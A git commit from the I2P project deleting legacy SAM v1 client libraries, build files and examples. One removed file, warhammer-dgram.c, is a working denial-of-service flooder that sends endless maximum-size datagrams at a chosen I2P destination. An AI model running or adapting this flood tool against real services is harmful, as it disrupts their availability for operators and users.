Remove ancient C, CSharp, Perl, Python SAM v1 client libs

See http://i2p-projekt.i2p/en/docs/api/samv3 for maintained list of v3 clients
Remove unmaintained v3.0 protocol doc, link to website instead
This commit is contained in:
zzz
2021-05-14 11:45:47 -04:00
parent 59439da702
commit 6796a3cdfe
105 changed files with 5 additions and 11864 deletions

View File

@ -355,24 +355,7 @@ distributions. See the source package for the additional license information.
Admin Manager:
Public domain
BOB Demos:
Copyright (C) sponge
DWTFYWTPL
Gradle wrapper:
Gradle wrapper 5.2.1:
(not included in most distribution packages)
Copyright (c) 2017 the original author or authors.
See licenses/LICENSE-Apache2.0.txt
SAM C Library:
Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
See apps/sam/c/doc/license.txt
SAM C# Library:
Public domain.
See apps/sam/csharp/README
SAM Perl Library:
See licenses/LICENSE-GPLv2.txt
SAM Python Library:
Public domain.

View File

@ -1,64 +0,0 @@
FLAGS+=-g
CFLAGS+=$(FLAGS)
LDFLAGS+=$(FLAGS)
OBJS:=obj/sam.lo obj/strl.lo obj/parse.lo obj/tinystring.lo
DEPS:=$(patsubst obj/%.lo, .deps/%.d, $(OBJS))
DESTDIR:=$(if $(DESTDIR),$(DESTDIR)/lib,/usr/lib)
MAKEFLAGS=-s -r
PERL=$(shell which perl 2>/dev/null)
ifneq ($(PERL),)
STATUS=$(PERL) ./status
else
STATUS=echo
endif
LIBTOOL_LOG=libtool.log
all:: cleanlog .deps/finish
cleanlog:
echo >$(LIBTOOL_LOG)
lib/libsam.so: obj/libsam.la
libtool --mode=install install $^ `pwd`/$@ >>$(LIBTOOL_LOG)
obj/libsam-static.la: $(OBJS)
$(STATUS) library '(static)'
libtool --mode=link $(CC) -static $(LDFLAGS) -o $@ $^ >>$(LIBTOOL_LOG)
obj/libsam.la: $(OBJS)
$(STATUS) library '(shared)'
libtool --mode=link $(CC) -rpath $(DESTDIR) $(LDFLAGS) -o $@ $^ >>$(LIBTOOL_LOG)
obj/%.lo: src/%.c
$(STATUS) compile $*
libtool --mode=compile $(CC) $(CFLAGS) -Iinc/ -c -o $@ $< >>$(LIBTOOL_LOG)
$(OBJS):|obj
obj:
$(STATUS) MKDIR $@
mkdir -p $@
.deps/%.d: src/%.c
$(STATUS) deps $*
$(CC) -Iinc/ -MM -MT obj/$*.o $< -o $@
-include $(DEPS)
DEPS+=.deps/finish
.deps/finish: lib/libsam.so
libtool --finish $(DESTDIR) >>$(LIBTOOL_LOG) && touch $@
$(DEPS):|.deps
.deps:
$(STATUS) MKDIR $@
mkdir -p $@
clean:
$(STATUS) clean
libtool --mode=clean rm -f obj/*.l* lib/*.l* lib/*.so* lib/*.a >>$(LIBTOOL_LOG)
rm -Rf .deps libtool.log
.PHONY: all cleanlog clean

View File

@ -1 +0,0 @@
See the `docs' directory for the documentation and license.

View File

@ -1,32 +0,0 @@
=====================
How to Install LibSAM
=====================
1) Be sure you have GNU Make installed.
2) Find the Makefile for your operating system in the LibSAM root. For example,
if you are on FreeBSD, you'd use Makefile.freebsd.
3) Run gmake with the -f option to build LibSAM. For example, on FreeBSD, you'd
run "gmake -f Makefile.freebsd". On Linux, GNU Make is just called 'make', so
you'd run "make -f Makefile.linux".
4) If that worked, you can now try to compile some of the example programs.
They are compiled in the same way as LibSAM, but the Makefile names are
different.
I2P-Ping should compile on any Unix system using the default Makefile. It won't
work on Win32, however, because Win32 doesn't have the getopt() function.
The Warhammer example should run on any OS. Use the Makefile.posix for Unix
sytems or the Makefile.mingw for Win32.
*** If you have trouble ***
If you have trouble compiling LibSAM, try to edit the Makefiles to fix the
problem. The "Makefile.common" is shared by all systems, and you shouldn't have
to touch it. Just copy the Makefile of the OS most similar to your own and
start hacking on it. Send me a patch if you get it working.
I realise this build system is horrible, and in the future I will probably
replace it entirely.

View File

@ -1,27 +0,0 @@
Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of any contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -1,3 +0,0 @@
The author is Matthew P. Cashdollar, who can be reached via email at
mpc@innographx.com. The official LibSAM distribution site is at
http://www.cashdollar.org/libsam

View File

@ -1,11 +0,0 @@
I need to do these things:
* SAM raw support (partially complete)
* Write an instruction manual
* Make dest a dynamic string
* Change SAM parser to use a hashmap
* Improve build system
Anyone can help with these things:
* Compile on as many platforms as possible

View File

@ -1,52 +0,0 @@
/* vi:set ts=4: */
v1.30
* Added session to sam_namingback()
* Removed stdint.h dependency
* Improved WIRETAP to do more logging
* Added "pinger.sh" shell script example for using i2p-ping
* Added SAM_BAD_STYLE error
* Added exit values for i2p-ping from xolo
v1.25 2004-07-31
* Created I2P-Ping, a new example program (it's a clone of I2Ping). Works
on Posix only, because it uses getopt().
* Removed the old broken examples and added more comments to
warhammer-dgram.c
* Added support for sessions - now LibSAM can have multiple SAM sessions
going at once (with different destinations)
* Rewrote sendq functions to automatically send big packets, for better
network performance (still considered experimental)
v1.20 2004-07-11
* Ported to FreeBSD (Makefile.freebsd)
* Full winsock compatibility - all Windows functions now return appropriate
error strings
v1.15 2004-06-23
* Added a new example program, warhammer-dgram (use with caution)
* Fixed some fatal bugs in datagram handling
* Added another error return type named SAM_TOO_BIG - some functions now
return samerr_t instead of bool
v1.10 2004-06-16
* Changed sam_strerror() to work the same as the standard library strerror()
* Ported to native MS Windows (uses the Mingw development environment)
* Fixed a probable bug in the Cygwin port
v1.05 2004-06-09
* Added an example datagram client/server program in the examples directory
* sam_read_buffer() now returns bool true if it read anything
* Added repliable datagram support - sam_connect() now has another argument
* Replaced strstr() with the more appropriate strncmp() in many places
* Fixed a parsing error for STREAM CLOSED
* Removed the old sam_naming_lookup() and renamed sam_naming_lookup_async()
to sam_naming_lookup() to replace it
* Fixed a bug in sam_stream_close() where a '\n' was not being sent after
the SAM command
* Fixed a bug where the stream ID was being improperly incremented in
sam_stream_connect()
* Added generic Linux Makefile for non-Debian distributions
v1.00 2004-06-02
* First public release

View File

@ -1,54 +0,0 @@
FLAGS+=-g
CFLAGS = $(FLAGS) -pipe -std=c99 -Wall
CFLAGS += -I../../inc
LDFLAGS = $(FLAGS) -L../../lib -lsam
OBJS:=i2p-ping.lo
DEPS:=$(patsubst obj/%.lo, .deps/%.d, $(OBJS))
DESTDIR:=$(if $(DESTDIR),$(DESTDIR)/lib,/usr/lib)
MAKEFLAGS=-s -r
PERL=$(shell which perl 2>/dev/null)
ifneq ($(PERL),)
STATUS=$(PERL) ../../status
else
STATUS=echo
endif
LIBTOOL_LOG=libtool.log
all:: cleanlog i2p-ping
cleanlog:
>$(LIBTOOL_LOG)
i2p-ping: $(OBJS)
$(STATUS) link
libtool --mode=link $(CC) $(LDFLAGS) -o $@ $^ >>$(LIBTOOL_LOG)
%.lo: %.c
$(STATUS) compile $*
libtool --mode=compile $(CC) $(CFLAGS) -Iinc/ -c -o $@ $< >>$(LIBTOOL_LOG)
.deps/%.d: src/%.c
$(STATUS) deps $*
$(CC) -Iinc/ -MM -MT obj/$*.o $^ -o $@
clean:
$(STATUS) clean
rm -Rf .deps obj libtool.log
libtool --mode=clean rm -f i2p-ping i2p-ping.lo >>$(LIBTOOL_LOG)
$(OBJS):|obj
obj:
$(STATUS) MKDIR $@
mkdir -p $@
# -include $(DEPS)
$(DEPS):|.deps
.deps:
$(STATUS) MKDIR $@
mkdir -p $@
.PHONY: all cleanlog clean

View File

@ -1,265 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* I2P-Ping won't compile on Windows because Windows lacks getopt()
*/
/*
* Exit values:
* 0: Received at least one response from one dest, or help
* message was successfully displayed
* 1: Received no responses from any dest
* 2: Naming lookup failed, or dest unspecified
* 3: SAM error
*/
#include <getopt.h> /* needed on Gentoo Linux */
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include "sam.h"
static void usage();
static void closeback(sam_sess_t *session, sam_sid_t stream_id,
samerr_t reason);
static void connectback(sam_sess_t *session, sam_sid_t stream_id,
sam_pubkey_t dest);
static void databack(sam_sess_t *session, sam_sid_t stream_id, void *data,
size_t size);
static void diedback(sam_sess_t *session);
static void logback(char *s);
static void namingback(sam_sess_t *session, char *name, sam_pubkey_t pubkey,
samerr_t result);
static void statusback(sam_sess_t *session, sam_sid_t stream_id,
samerr_t result);
bool gotdest = false;
sam_pubkey_t dest;
bool quiet = false;
samerr_t laststatus = SAM_NULL;
sam_sid_t laststream = 0;
bool mihi = false;
bool bell = false;
int main(int argc, char *argv[])
{
int ch;
int count = INT_MAX; /* number of times to ping */
int pongcount = -1;
char *samhost = "localhost";
unsigned short samport = 7656;
while ((ch = getopt(argc, argv, "ac:h:mp:qv")) != -1) {
switch (ch) {
case 'a': /* bell */
bell = true;
break;
case 'c': /* packet count */
count = atoi(optarg);
break;
case 'h': /* SAM host */
samhost = optarg;
break;
case 'm': /* I2Ping emulation mode */
count = 3;
mihi = true;
quiet = true;
break;
case 'p': /* SAM port */
samport = atoi(optarg);
break;
case 'q': /* quiet mode */
quiet = true;
break;
case 'v': /* version */
puts("$Id: i2p-ping.c,v 1.6 2004/12/02 17:54:23 mpc Exp $");
puts("Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>");
break;
case '?':
default:
usage();
return 0;
}
}
argc -= optind;
argv += optind;
if (argc == 0) { /* they forgot to specify a ping target */
fprintf(stderr, "Ping who?\n");
return 2;
}
/* Hook up the callback functions - required by LibSAM */
sam_closeback = &closeback;
sam_connectback = &connectback;
sam_databack = &databack;
sam_diedback = &diedback;
sam_logback = &logback;
sam_namingback = &namingback;
sam_statusback = &statusback;
sam_sess_t *session = NULL; /* set to NULL to have LibSAM do the malloc */
session = sam_session_init(session); /* malloc and set defaults */
samerr_t rc = sam_connect(session, samhost, samport, "TRANSIENT",
SAM_STREAM, 0);
if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
sam_session_free(&session);
return 3;
}
pongcount = 0;
for (int j = 0; j < argc; j++) {
if (strlen(argv[j]) == SAM_PUBKEY_LEN - 1) {
memcpy(dest, argv[j], SAM_PUBKEY_LEN);
gotdest = true;
} else
sam_naming_lookup(session, argv[j]);
while (!gotdest) /* just wait for the naming lookup to complete */
sam_read_buffer(session);
gotdest = false;
for (int i = 0; i < count; ++i) {
time_t start = time(0);
sam_sid_t sid = sam_stream_connect(session, dest);
while (laststream != sid && laststatus == SAM_NULL)
sam_read_buffer(session); /* wait for the connect */
if (laststatus == SAM_OK)
sam_stream_close(session, laststream);
time_t finish = time(0);
laststream = 0;
if (laststatus == SAM_OK) {
pongcount++;
if (bell)
printf("\a"); /* putchar() doesn't work for some reason */
if (!mihi)
printf("%s: %.0fs\n", argv[j], difftime(finish, start));
else
printf("+ ");
} else {
if (!mihi)
printf("%s: %s\n", argv[j], sam_strerror(laststatus));
else
printf("- ");
}
laststatus = SAM_NULL;
}
if (mihi)
printf(" %s\n", argv[j]);
}
sam_close(session);
sam_session_free(&session);
return pongcount == 0 ? 1 : 0;
}
void usage()
{
puts("usage: i2p-ping [-amqv?] [-c count] [-h samhost] [-p samport] " \
"<b64dest|name>\n\t[b64dest|name] [b64dest|name] ...");
}
/*
* Connection closed
*/
static void closeback(sam_sess_t *session, sam_sid_t stream_id, samerr_t reason)
{
fprintf(stderr, "Connection closed to stream %d: %s\n", (int)stream_id,
sam_strerror(reason));
}
/*
* Someone connected to us - how dare they!
*/
static void connectback(sam_sess_t *session, sam_sid_t stream_id,
sam_pubkey_t dest)
{
sam_stream_close(session, stream_id);
}
/*
* A peer sent us some data - just ignore it
*/
static void databack(sam_sess_t *session, sam_sid_t stream_id, void *data,
size_t size)
{
free(data);
}
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(sam_sess_t *session)
{
fprintf(stderr, "Lost SAM connection!\n");
exit(3);
}
/*
* The logging callback prints any logging messages from LibSAM (typically
* errors)
*/
static void logback(char *s)
{
if (!quiet)
fprintf(stderr, "LibSAM: %s\n", s);
}
/*
* This is really hackish, but we know that we are only doing one lookup, so
* what the hell
*/
static void namingback(sam_sess_t *session, char *name, sam_pubkey_t pubkey,
samerr_t result)
{
if (result != SAM_OK) {
fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
exit(2);
}
memcpy(dest, pubkey, SAM_PUBKEY_LEN);
gotdest = true;
}
/*
* Our connection attempt returned a result
*/
static void statusback(sam_sess_t *session, sam_sid_t stream_id,
samerr_t result)
{
laststatus = result;
laststream = stream_id;
}

View File

@ -1,60 +0,0 @@
#!/bin/sh
# Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of the author nor the names of any contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
# OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# This script I use to ping all the hosts in the I2P hosts.txt file. You should
# edit your hosts.txt and remove all the comments and blanks lines before
# running this.
#
# You can set this up to run daily via cron. It takes a very long time to run
# so I recommend starting it in the middle of the night.
OUTPUT=/tmp/index.html
FINALOUT=$HOME/www/index.html
echo "<html>" > $OUTPUT
echo "<head>" >> $OUTPUT
echo "<title>I2P Weather Report</title>" >> $OUTPUT
echo "</head>" >> $OUTPUT
echo "<body>" >> $OUTPUT
echo "<h1>I2P Weather Report</h1>" >> $OUTPUT
echo "Date: " >> $OUTPUT
date -u >> $OUTPUT
echo "(refreshed daily)" >> $OUTPUT
echo "<p>" >> $OUTPUT
echo "If your site isn't listed, that means the ping failed (I2P error)" >> $OUTPUT
echo "<p>" >> $OUTPUT
echo "<pre>" >> $OUTPUT
cut -d"=" -f1 $HOME/i2p/hosts.txt | tr "\n" " " | xargs $HOME/bin/i2p-ping -q -c 1 | grep -v "I2P error" >> $OUTPUT
echo "</pre>" >> $OUTPUT
echo "<p>" >> $OUTPUT
echo "<i>Disclaimer: This only indicates accessibility from my router, not the network in general.</i>" >> $OUTPUT
echo "</body>" >> $OUTPUT
echo "</html>" >> $OUTPUT
cp $OUTPUT $FINALOUT

View File

@ -1,20 +0,0 @@
#
# This Makefile contains instructions common to all platforms
#
#
# Build rules
#
all: clean warhammer-dgram
warhammer-dgram: warhammer-dgram.c
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
$(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS)
#
# Cleanup rules
#
clean:
-$(RM) -f warhammer-dgram *.exe *.o

View File

@ -1,25 +0,0 @@
#
# This Makefile is compatible with GNU Make and has Winsock linking
#
#
# Programs
#
CC = C:\MinGW\bin\gcc
RM = C:\MinGW\bin\rm
#
# Flags
#
CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -DWINSOCK
CFLAGS += -I../../inc -L../../lib
LIBS = -lsam -lwsock32
#
# Include the make instructions common to all platforms
#
include Makefile.common

View File

@ -1,24 +0,0 @@
#
# This Makefile is compatible with GNU Make and should work on POSIX systems
#
#
# Programs
#
CC = gcc
RM = rm
#
# Flags
#
CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -I../../inc -L../../lib
LIBS = -lsam
#
# Include the make instructions common to all platforms
#
include Makefile.common

View File

@ -1,184 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Warhammer-dgram: a simple denial of service tool which uses datagrams, and
* illustrates how LibSAM works.
* Use only with the utmost courtesy.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "sam.h"
/*
* LibSAM callbacks - functions in our code that are called by LibSAM when
* something happens
*/
static void dgramback(sam_sess_t *session, sam_pubkey_t dest, void *data,
size_t size);
static void diedback(sam_sess_t *session);
static void logback(char *s);
static void namingback(sam_sess_t *session, char *name, sam_pubkey_t pubkey,
samerr_t result);
/*
* Just some ugly global variables. Don't do this in your program.
*/
bool gotdest = false;
sam_pubkey_t dest;
int main(int argc, char *argv[])
{
/*
* The target of our attack is specified on the command line
*/
if (argc != 2) {
fprintf(stderr, "Syntax: %s <b64dest|name>\n", argv[0]);
return 1;
}
/* Hook up the callback functions - required by LibSAM */
sam_dgramback = &dgramback;
sam_diedback = &diedback;
sam_logback = &logback;
sam_namingback = &namingback;
/*
* This tool would be more destructive if multiple SAM session were used,
* but they aren't - at least for now.
*/
sam_sess_t *session = NULL; /* set to NULL to have LibSAM do the malloc */
session = sam_session_init(session); /* malloc and set defaults */
/* Connect to the SAM server -- you can use either an IP or DNS name */
samerr_t rc = sam_connect(session, "localhost", 7656, "TRANSIENT",
SAM_DGRAM, 2); /* the tunnel length of 2 can be adjusted to whatever */
if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
sam_session_free(&session);
return 1;
}
/*
* Check whether they've supplied a hostname or a base 64 destination
*
* Note that this is a hack. Jrandom says that once certificates are added,
* the length could be different depending on the certificate's size.
*/
if (strlen(argv[1]) == SAM_PUBKEY_LEN - 1) {
memcpy(dest, argv[1], SAM_PUBKEY_LEN);
gotdest = true;
} else {
/*
* If they supplied a name, we have to do a lookup on it. This is
* equivalent to doing a DNS lookup on the normal internet. When the
* lookup completes, we send them some data.
*/
sam_naming_lookup(session, argv[1]);
}
while (!gotdest) /* just wait for the naming lookup to complete */
sam_read_buffer(session);
char data[SAM_DGRAM_PAYLOAD_MAX];
memset(data, '$', SAM_DGRAM_PAYLOAD_MAX); /* We're sending them MONEY! */
size_t sentbytes = 0;
while (true) {
/*
* Send them a flood of the largest sized datagrams possible in an
* infinite loop!
*/
rc = sam_dgram_send(session, dest, data, SAM_DGRAM_PAYLOAD_MAX);
if (rc != SAM_OK) {
fprintf(stderr, "sam_dgram_send() failed: %s\n", sam_strerror(rc));
sam_session_free(&session);
return 1;
}
sentbytes += SAM_DGRAM_PAYLOAD_MAX;
printf("Bombs away! (%u kbytes sent so far)\n", sentbytes / 1024);
/*
* sam_read_buffer() just checks for incoming activity from the SAM
* session, and invokes the appropriate callbacks. We aren't really
* expecting any incoming activity here, but it is a good idea to check
* anyway.
*/
sam_read_buffer(session);
}
sam_session_free(&session); /* de-allocates memory used by the SAM session*/
return 0;
}
/*
* When we receive some data from another peer, just ignore it. Denial of
* service programs don't need input ;)
*/
static void dgramback(sam_sess_t *session, sam_pubkey_t dest, void *data,
size_t size)
{
puts("Received a datagram (ignored)");
free(data);
}
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(sam_sess_t *session)
{
fprintf(stderr, "Lost SAM connection!\n");
exit(1);
}
/*
* The logging callback prints any logging messages from LibSAM (typically
* errors)
*/
static void logback(char *s)
{
fprintf(stderr, "LibSAM: %s\n", s);
}
/*
* This is really hackish, but we know that we are only doing one lookup, so
* what the hell
*/
static void namingback(sam_sess_t *session, char *name, sam_pubkey_t pubkey,
samerr_t result)
{
if (result != SAM_OK) {
fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
exit(1);
}
memcpy(dest, pubkey, SAM_PUBKEY_LEN);
gotdest = true;
}

View File

@ -1,24 +0,0 @@
#ifndef _PARSE_HEADER_FEEP
#define _PARSE_HEADER_FEEP
#include "tinystring.h"
typedef struct arg_s {
string_t name;
string_t value;
// int pos;
} arg_t;
typedef struct {
arg_t* arg;
int num;
} args_t;
args_t arg_parse(const char*);
void arg_done(args_t);
arg_t* arg_get(args_t,int);
arg_t* arg_find(args_t,string_t);
#define AG(a,b) arg_get(a,b)
#endif /* _PARSE_HEADER_FEEP */

View File

@ -1,145 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef LIBSAM_PLATFORM_H
#define LIBSAM_PLATFORM_H
/*
* Operating system
*/
#define FREEBSD 0 // FreeBSD
#define CYGWIN 1 // Cygwin
#define LINUX 2 // Linux
#define MINGW 3 // Windows native (Mingw)
#define MSVC 4 // Windows native (Visual C++ 2003)
#if OS == CYGWIN
#define INET_ADDRSTRLEN 16
#define NO_GETHOSTBYNAME2
#define NO_INET_NTOP
#define NO_INET_PTON
#define NO_SNPRINTF
#define NO_STRL
#define NO_VSNPRINTF
#define NO_Z_FORMAT
#endif
#if OS == LINUX
#define NO_GETHOSTBYNAME2
#define NO_STRL
#define NO_Z_FORMAT
#endif
#if OS == MINGW
#define INET_ADDRSTRLEN 16
#define NO_GETHOSTBYNAME2
#define NO_INET_ATON // implies NO_INET_PTON
#define NO_INET_NTOP
#define NO_SSIZE_T
#define NO_STRL
#define NO_Z_FORMAT
#define WINSOCK
#endif
#if OS == MSVC // FIXME: doesn't work
#define NO_STDBOOL_H
#define NO_SSIZE_T
#define NO_STRL
#define WINSOCK
#endif
/*
* System includes
*/
#ifdef WINSOCK
#include <winsock.h>
#else
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/types.h>
#endif
#include <assert.h>
#include <errno.h>
#ifndef WINSOCK
#include <netdb.h>
#endif
#if defined NO_SNPRINTF || defined NO_VSNPRINTF
#include "snprintf.h"
#endif
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef NO_STRL
#include "strl.h"
#endif
#ifdef WINSOCK
#include <windows.h>
#else
#include <unistd.h>
#endif
/*
* Platform-dependent variable types
*/
#ifdef NO_SSIZE_T
typedef signed long ssize_t;
#endif
/*
* I'm too lazy to type "unsigned"
*/
typedef unsigned char byte;
typedef unsigned int uint;
typedef unsigned short ushort;
/*
* Prints out the file name, line number, and function name before log message
*/
#define SAMLOG(format, ...) sam_log("%s:%d:%s: " \
format, __FILE__, __LINE__, __func__, __VA_ARGS__)
/*
* This is the same as above, except that it doesn't accept any va args
*/
#define SAMLOGS(str) sam_log("%s:%d:%s: " str, __FILE__, __LINE__, __func__)
/*
* Set this to '1' if you want the raw SAM commands to be printed on stdout
* (useful for debugging). Otherwise, set it to '0'.
*/
#define SAM_WIRETAP 0
#if SAM_WIRETAP
#include <ctype.h>
#endif
#endif /* LIBSAM_PLATFORM_H */

View File

@ -1,167 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
